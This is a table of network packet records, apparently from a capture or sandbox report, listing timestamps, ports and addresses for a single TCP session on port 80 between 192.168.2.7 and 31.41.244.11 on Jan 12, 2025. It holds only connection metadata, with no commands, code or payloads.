Jan 12, 2025 17:39:11.003205061 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.003205061 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.003226042 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.003254890 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.003262997 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.003334999 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.003339052 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.003339052 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.003367901 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.003401995 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.003417969 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.003417969 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.003452063 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.003487110 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.003516912 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.003551960 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.003592968 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.003624916 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.003640890 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.003640890 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.003640890 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.003659010 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.003686905 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.003710985 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.003711939 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.003720045 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.003755093 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.003788948 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.003801107 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.003801107 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.003801107 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.003822088 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.003850937 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.003881931 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.003895044 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.003895044 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.003895044 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.003916025 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.003950119 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.003983021 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.003993034 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.003993034 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.003993034 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.004017115 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.004053116 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.004070044 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.004070044 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.004158974 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.004174948 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.004198074 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.004230976 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.004265070 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.004292011 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.004292011 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.004300117 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.004333973 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.004365921 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.004374027 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.004374027 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.004399061 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.004409075 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.004430056 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.004465103 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.004497051 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.004498959 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.004528046 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.004571915 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.004575968 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.004575968 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.004575968 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.004617929 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.004651070 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.004683018 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.004693031 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.004693031 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.004693031 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.004717112 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.004753113 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.004764080 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.004764080 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.004790068 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.004832029 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.004837036 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.004837036 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.004872084 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.004899979 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.004910946 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.004926920 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.004956007 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.004998922 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.005007982 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.005042076 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.005059958 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.005089998 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.005136013 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.005142927 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.005177975 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.005198956 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.005296946 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.050229073 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.050270081 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.050323963 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.050347090 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.050347090 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.050359964 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.050393105 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.050426960 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.050460100 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.050493956 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.050494909 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.050494909 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.050513983 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.050590038 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.050595045 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.050642967 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.050677061 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.050725937 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.050760031 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.050760031 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.050798893 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.050832987 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.050868034 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.050884008 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.050884008 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.050921917 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.050965071 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.051009893 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.051009893 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.051009893 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.051012039 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.051064968 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.051120043 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.051165104 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.051165104 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.051165104 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.051179886 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.051230907 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.051255941 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.051266909 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.051301003 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.051301956 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.051301956 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.051357031 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.051392078 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.051425934 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.051440001 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.051440001 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.051459074 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.051470041 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.051493883 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.051508904 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.051526070 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.051548004 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.051562071 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.051577091 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.051594973 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.051628113 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.051644087 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.051644087 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.051661015 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.051695108 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.051703930 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.051703930 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.051727057 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.051764965 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.051781893 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.051781893 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.051821947 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.051827908 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.051858902 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.051892996 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.051902056 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.051903009 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.051927090 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.051959991 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.051994085 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.052004099 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.052004099 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.052004099 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.052031994 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.052042007 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.052072048 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.052092075 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.052099943 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.052119017 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.052130938 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.052201033 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.052220106 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.052253962 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.052287102 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.052301884 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.052301884 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.052301884 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.052319050 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.052352905 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.052386999 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.052397013 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.052397013 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.052397013 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.052556038 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.054724932 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.054775000 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.054809093 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.054822922 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.054822922 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.054841042 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.054871082 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.054877996 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.054909945 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.054912090 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.054944992 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.054974079 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.054996967 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.054996967 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.055123091 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.088820934 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.088881016 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.088932037 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.088932037 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.088954926 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.089004993 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.089034081 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.089059114 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.089095116 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.089095116 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.089111090 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.089144945 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.089154005 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.089176893 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.089215040 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.089215040 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.089225054 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.089257956 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.089307070 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.089307070 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.089339972 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.089389086 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.089397907 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.089402914 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.089431047 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.089481115 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.089481115 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.089481115 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.089513063 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.089535952 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.089546919 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.089576006 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.089576960 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.089592934 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.089624882 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.089663029 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.089694977 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.089704037 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.089704037 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.089704037 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.089728117 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.089736938 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.089761019 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.089793921 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.089826107 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.089833021 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.089833021 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.089833021 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.089859009 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.089889050 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.089903116 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.089903116 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.089920998 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.089955091 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.089962959 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.089962959 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.089987993 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.090023041 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.090037107 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.090037107 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.090058088 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.090081930 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.090091944 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.090123892 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.090133905 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.090133905 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.090162039 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.090194941 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.090204954 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.090205908 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.090231895 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.090245008 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.090265036 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.090297937 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.090331078 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.090346098 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.090346098 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.090346098 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.090365887 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.090394974 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.090395927 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.090408087 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.090430021 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.090462923 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.090481043 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.090481043 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.090497017 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.090531111 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.090557098 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.090557098 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.090564013 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.090599060 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.090632915 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.090636969 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.090636969 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.090636969 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.090667963 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.090698004 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.090730906 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.090734959 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.090734959 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.090734959 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.090764046 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.090796947 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.090797901 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.090831041 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.090838909 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.090838909 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.090864897 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.090897083 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.090903044 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.090903997 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.090929985 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.090961933 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.090975046 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.090975046 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.090995073 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.091027975 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.091032028 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.091032028 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.091064930 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.091064930 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.091149092 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.145643950 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.145677090 CET	80	49975	31.41.244.11	192.168.2.7
